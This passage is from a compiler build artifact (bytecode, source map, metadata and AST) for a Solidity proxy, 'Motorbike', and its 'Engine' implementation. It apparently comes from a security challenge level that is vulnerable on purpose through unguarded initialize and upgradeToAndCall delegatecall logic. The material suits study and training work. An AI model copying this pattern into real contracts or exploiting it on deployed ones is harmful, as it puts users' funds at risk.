6c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374a2646970667358221220554dd42a786d92c690d4f4524d0bf8c618f776bb922113b892b1bfff62a1d32a64736f6c634300060c0033","sourceMap":"1908:1734:8:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2488:177;;;;;;;;;;;;;;;;;;-1:-1:-1;2488:177:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2488:177:8;;-1:-1:-1;2488:177:8;;-1:-1:-1;;;;;2488:177:8:i;:::-;;2171:25;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;2258:108;;;;;;;;;;;;;:::i;2142:23::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;2142:23:8;;;;;;;;;;;;;;2488:177;2587:19;:17;:19::i;:::-;2616:42;2634:17;2653:4;2616:17;:42::i;:::-;2488:177;;:::o;2171:25::-;;;;:::o;2258:108::-;1501:13:2;;;;;;;;:33;;;1518:16;:14;:16::i;:::-;1501:50;;;-1:-1:-1;1539:12:2;;;;1538:13;1501:50;1493:109;;;;-1:-1:-1;;;1493:109:2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1613:19;1636:13;;;;;;1635:14;1659:98;;;;1693:13;:20;;-1:-1:-1;;;;1693:20:2;;;;;1727:19;1709:4;1727:19;;;1659:98;2324:4:8::1;2311:10;:17:::0;2338:8:::1;:21:::0;;;::::1;2349:10;2338:21:::0;::::1;;::::0;;1779:66:2;;;;1829:5;1813:21;;-1:-1:-1;;1813:21:2;;;1779:66;2258:108:8;:::o;2142:23::-;;;;;;-1:-1:-1;2142:23:8;;:::o;2704:108::-;2779:8;;;;;-1:-1:-1;;;;;2779:8:8;2765:10;:22;2757:48;;;;;-1:-1:-1;;;2757:48:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;2704:108::o;2922:332::-;3056:37;3075:17;3056:18;:37::i;:::-;3107:11;;:15;3103:145;;3139:12;3156:17;-1:-1:-1;;;;;3156:30:8;3187:4;3156:36;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3156:36:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3138:54;;;3214:7;3206:31;;;;;-1:-1:-1;;;3206:31:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;3103:145;2922:332;;:::o;1941:112:2:-;1989:4;2013:33;2040:4;2013:18;:33::i;:::-;2012:34;2005:41;;1941:112;:::o;3324:316:8:-;3405:37;3424:17;3405:18;:37::i;:::-;3397:95;;;;-1:-1:-1;;;3397:95:8;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3567:20;3606:27;;;;-1:-1:-1;3606:27:8;;;;;;;;;;3324:316::o;726:413:3:-;1086:20;1124:8;;;726:413::o","linkReferences":{}},"methodIdentifiers":{"horsePower()":"564f6d71","initialize()":"8129fc1c","upgradeToAndCall(address,bytes)":"4f1ef286","upgrader()":"af269745"},"rawMetadata":"{\"compiler\":{\"version\":\"0.6.12+commit.27d51765\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"horsePower\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"initialize\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newImplementation\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"upgradeToAndCall\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"upgrader\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Motorbike.sol\":\"Engine\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol\":{\"keccak256\":\"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68\",\"dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]},\"src/levels/Motorbike.sol\":{\"keccak256\":\"0xb83470b9fdd8b6e748fdb575fbd6d215ae87acd76f2a32daf8cb1dee5bbafe05\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a4e8766470cd9fc028f43ddc980f6e7e15f0c4d56a0a941e490169a655986580\",\"dweb:/ipfs/QmUFMexWrfkDhFgiVTUBxh6KqZmQoedS2UToqDC2DxUe79\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"horsePower","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"initialize"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"upgradeToAndCall"},{"inputs":[],"stateMutability":"view","type":"function","name":"upgrader","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Motorbike.sol":"Engine"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol":{"keccak256":"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed","urls":["bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68","dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"},"src/levels/Motorbike.sol":{"keccak256":"0xb83470b9fdd8b6e748fdb575fbd6d215ae87acd76f2a32daf8cb1dee5bbafe05","urls":["bzz-raw://a4e8766470cd9fc028f43ddc980f6e7e15f0c4d56a0a941e490169a655986580","dweb:/ipfs/QmUFMexWrfkDhFgiVTUBxh6KqZmQoedS2UToqDC2DxUe79"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Motorbike.sol","id":1282,"exportedSymbols":{"Engine":[1281],"Motorbike":[1171]},"nodeType":"SourceUnit","src":"33:3610:8","nodes":[{"id":1099,"nodeType":"PragmaDirective","src":"33:23:8","nodes":[],"literals":["solidity","<","0.7",".0"]},{"id":1100,"nodeType":"ImportDirective","src":"58:53:8","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","file":"openzeppelin-contracts-06/utils/Address.sol","scope":1282,"sourceUnit":827,"symbolAliases":[],"unitAlias":""},{"id":1101,"nodeType":"ImportDirective","src":"112:59:8","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol","file":"openzeppelin-contracts-06/proxy/Initializable.sol","scope":1282,"sourceUnit":531,"symbolAliases":[],"unitAlias":""},{"id":1171,"nodeType":"ContractDefinition","src":"173:1733:8","nodes":[{"id":1104,"nodeType":"VariableDeclaration","src":"271:115:8","nodes":[],"constant":true,"mutability":"constant","name":"_IMPLEMENTATION_SLOT","overrides":null,"scope":1171,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1102,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"argumentTypes":null,"hexValue":"307833363038393461313362613161333231303636376338323834393264623938646361336532303736636333373335613932306133636135303564333832626263","id":1103,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"320:66:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_24440054405305269366569402256811496959409073762505157381672968839269610695612_by_1","typeString":"int_const 2444...(69 digits omitted)...5612"},"value":"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"},"visibility":"internal"},{"id":1107,"nodeType":"StructDefinition","src":"393:49:8","nodes":[],"canonicalName":"Motorbike.AddressSlot","members":[{"constant":false,"id":1106,"mutability":"mutable","name":"value","nodeType":"VariableDeclaration","overrides":null,"scope":1107,"src":"422:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1105,"name":"address","nodeType":"ElementaryTypeName","src":"422:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"name":"AddressSlot","scope":1171,"visibility":"public"},{"id":1143,"nodeType":"FunctionDefinition","src":"543:327:8","nodes":[],"body":{"id":1142,"nodeType":"Block","src":"578:292:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1115,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1109,"src":"615:6:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1113,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"596:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1114,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"596:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":1116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"596:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":1117,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"624:47:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""},"value":"ERC1967: new implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""}],"id":1112,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"588:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"588:84:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1119,"nodeType":"ExpressionStatement","src":"588:84:8"},{"expression":{"argumentTypes":null,"id":1125,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1121,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1104,"src":"698:20:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":1120,"name":"_getAddressSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1170,"src":"682:15:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$1107_storage_ptr_$","typeString":"function (bytes32) pure returns (struct Motorbike.AddressSlot storage pointer)"}},"id":1122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"682:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot storage pointer"}},"id":1123,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":1106,"src":"682:43:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":1124,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1109,"src":"728:6:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"682:52:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1126,"nodeType":"ExpressionStatement","src":"682:52:8"},{"assignments":[1128,null],"declarations":[{"constant":false,"id":1128,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":1142,"src":"745:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1127,"name":"bool","nodeType":"ElementaryTypeName","src":"745:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},null],"id":1136,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"696e697469616c697a652829","id":1133,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"806:14:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""},"value":"initialize()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""}],"expression":{"argumentTypes":null,"id":1131,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"782:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":1132,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"782:23:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":1134,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"782:39:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":1129,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1109,"src":"762:6:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1130,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"delegatecall","nodeType":"MemberAccess","referencedDeclaration":null,"src":"762:19:8","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":1135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"762:60:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"744:78:8"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1138,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1128,"src":"840:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"43616c6c206661696c6564","id":1139,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"849:13:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""},"value":"Call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""}],"id":1137,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"832:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"832:31:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1141,"nodeType":"ExpressionStatement","src":"832:31:8"}]},"documentation":null,"implemented":true,"kind":"constructor","modifiers":[],"name":"","overrides":null,"parameters":{"id":1110,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1109,"mutability":"mutable","name":"_logic","nodeType":"VariableDeclaration","overrides":null,"scope":1143,"src":"555:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1108,"name":"address","nodeType":"ElementaryTypeName","src":"555:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"554:16:8"},"returnParameters":{"id":1111,"nodeType":"ParameterList","parameters":[],"src":"578:0:8"},"scope":1171,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1150,"nodeType":"FunctionDefinition","src":"931:466:8","nodes":[],"body":{"id":1149,"nodeType":"Block","src":"991:406:8","nodes":[],"statements":[{"AST":{"nodeType":"YulBlock","src":"1066:325:8","statements":[{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1093:1:8","type":"","value":"0"},{"kind":"number","nodeType":"YulLiteral","src":"1096:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"calldatasize","nodeType":"YulIdentifier","src":"1099:12:8"},"nodeType":"YulFunctionCall","src":"1099:14:8"}],"functionName":{"name":"calldatacopy","nodeType":"YulIdentifier","src":"1080:12:8"},"nodeType":"YulFunctionCall","src":"1080:34:8"},"nodeType":"YulExpressionStatement","src":"1080:34:8"},{"nodeType":"YulVariableDeclaration","src":"1127:74:8","value":{"arguments":[{"arguments":[],"functionName":{"name":"gas","nodeType":"YulIdentifier","src":"1154:3:8"},"nodeType":"YulFunctionCall","src":"1154:5:8"},{"name":"implementation","nodeType":"YulIdentifier","src":"1161:14:8"},{"kind":"number","nodeType":"YulLiteral","src":"1177:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"calldatasize","nodeType":"YulIdentifier","src":"1180:12:8"},"nodeType":"YulFunctionCall","src":"1180:14:8"},{"kind":"number","nodeType":"YulLiteral","src":"1196:1:8","type":"","value":"0"},{"kind":"number","nodeType":"YulLiteral","src":"1199:1:8","type":"","value":"0"}],"functionName":{"name":"delegatecall","nodeType":"YulIdentifier","src":"1141:12:8"},"nodeType":"YulFunctionCall","src":"1141:60:8"},"variables":[{"name":"result","nodeType":"YulTypedName","src":"1131:6:8","type":""}]},{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1229:1:8","type":"","value":"0"},{"kind":"number","nodeType":"YulLiteral","src":"1232:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nodeType":"YulIdentifier","src":"1235:14:8"},"nodeType":"YulFunctionCall","src":"1235:16:8"}],"functionName":{"name":"returndatacopy","nodeType":"YulIdentifier","src":"1214:14:8"},"nodeType":"YulFunctionCall","src":"1214:38:8"},"nodeType":"YulExpressionStatement","src":"1214:38:8"},{"cases":[{"body":{"nodeType":"YulBlock","src":"1298:31:8","statements":[{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1307:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nodeType":"YulIdentifier","src":"1310:14:8"},"nodeType":"YulFunctionCall","src":"1310:16:8"}],"functionName":{"name":"revert","nodeType":"YulIdentifier","src":"1300:6:8"},"nodeType":"YulFunctionCall","src":"1300:27:8"},"nodeType":"YulExpressionStatement","src":"1300:27:8"}]},"nodeType":"YulCase","src":"1291:38:8","value":{"kind":"number","nodeType":"YulLiteral","src":"1296:1:8","type":"","value":"0"}},{"body":{"nodeType":"YulBlock","src":"1350:31:8","statements":[{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1359:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nodeType":"YulIdentifier","src":"1362:14:8"},"nodeType":"YulFunctionCall","src":"1362:16:8"}],"functionName":{"name":"return","nodeType":"YulIdentifier","src":"1352:6:8"},"nodeType":"YulFunctionCall","src":"1352:27:8"},"nodeType":"YulExpressionStatement","src":"1352:27:8"}]},"nodeType":"YulCase","src":"1342:39:8","value":"default"}],"expression":{"name":"result","nodeType":"YulIdentifier","src":"1272:6:8"},"nodeType":"YulSwitch","src":"1265:116:8"}]},"evmVersion":"istanbul","externalReferences":[{"declaration":1145,"isOffset":false,"isSlot":false,"src":"1161:14:8","valueSize":1}],"id":1148,"nodeType":"InlineAssembly","src":"1057:334:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_delegate","overrides":null,"parameters":{"id":1146,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1145,"mutability":"mutable","name":"implementation","nodeType":"VariableDeclaration","overrides":null,"scope":1150,"src":"950:22:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1144,"name":"address","nodeType":"ElementaryTypeName","src":"950:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"949:24:8"},"returnParameters":{"id":1147,"nodeType":"ParameterList","parameters":[],"src":"991:0:8"},"scope":1171,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":1161,"nodeType":"FunctionDefinition","src":"1572:107:8","nodes":[],"body":{"id":1160,"nodeType":"Block","src":"1608:71:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1155,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1104,"src":"1644:20:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":1154,"name":"_getAddressSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1170,"src":"1628:15:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$1107_storage_ptr_$","typeString":"function (bytes32) pure returns (struct Motorbike.AddressSlot storage pointer)"}},"id":1156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1628:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot storage pointer"}},"id":1157,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":1106,"src":"1628:43:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":1153,"name":"_delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1150,"src":"1618:9:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":1158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1618:54:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1159,"nodeType":"ExpressionStatement","src":"1618:54:8"}]},"documentation":null,"implemented":true,"kind":"fallback","modifiers":[],"name":"","overrides":null,"parameters":{"id":1151,"nodeType":"ParameterList","parameters":[],"src":"1580:2:8"},"returnParameters":{"id":1152,"nodeType":"ParameterList","parameters":[],"src":"1608:0:8"},"scope":1171,"stateMutability":"payable","virtual":true,"visibility":"external"},{"id":1170,"nodeType":"FunctionDefinition","src":"1756:148:8","nodes":[],"body":{"id":1169,"nodeType":"Block","src":"1841:63:8","nodes":[],"statements":[{"AST":{"nodeType":"YulBlock","src":"1860:38:8","statements":[{"nodeType":"YulAssignment","src":"1874:14:8","value":{"name":"slot","nodeType":"YulIdentifier","src":"1884:4:8"},"variableNames":[{"name":"r_slot","nodeType":"YulIdentifier","src":"1874:6:8"}]}]},"evmVersion":"istanbul","externalReferences":[{"declaration":1166,"isOffset":false,"isSlot":true,"src":"1874:6:8","valueSize":1},{"declaration":1163,"isOffset":false,"isSlot":false,"src":"1884:4:8","valueSize":1}],"id":1168,"nodeType":"InlineAssembly","src":"1851:47:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_getAddressSlot","overrides":null,"parameters":{"id":1164,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1163,"mutability":"mutable","name":"slot","nodeType":"VariableDeclaration","overrides":null,"scope":1170,"src":"1781:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1781:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":null,"visibility":"internal"}],"src":"1780:14:8"},"returnParameters":{"id":1167,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1166,"mutabil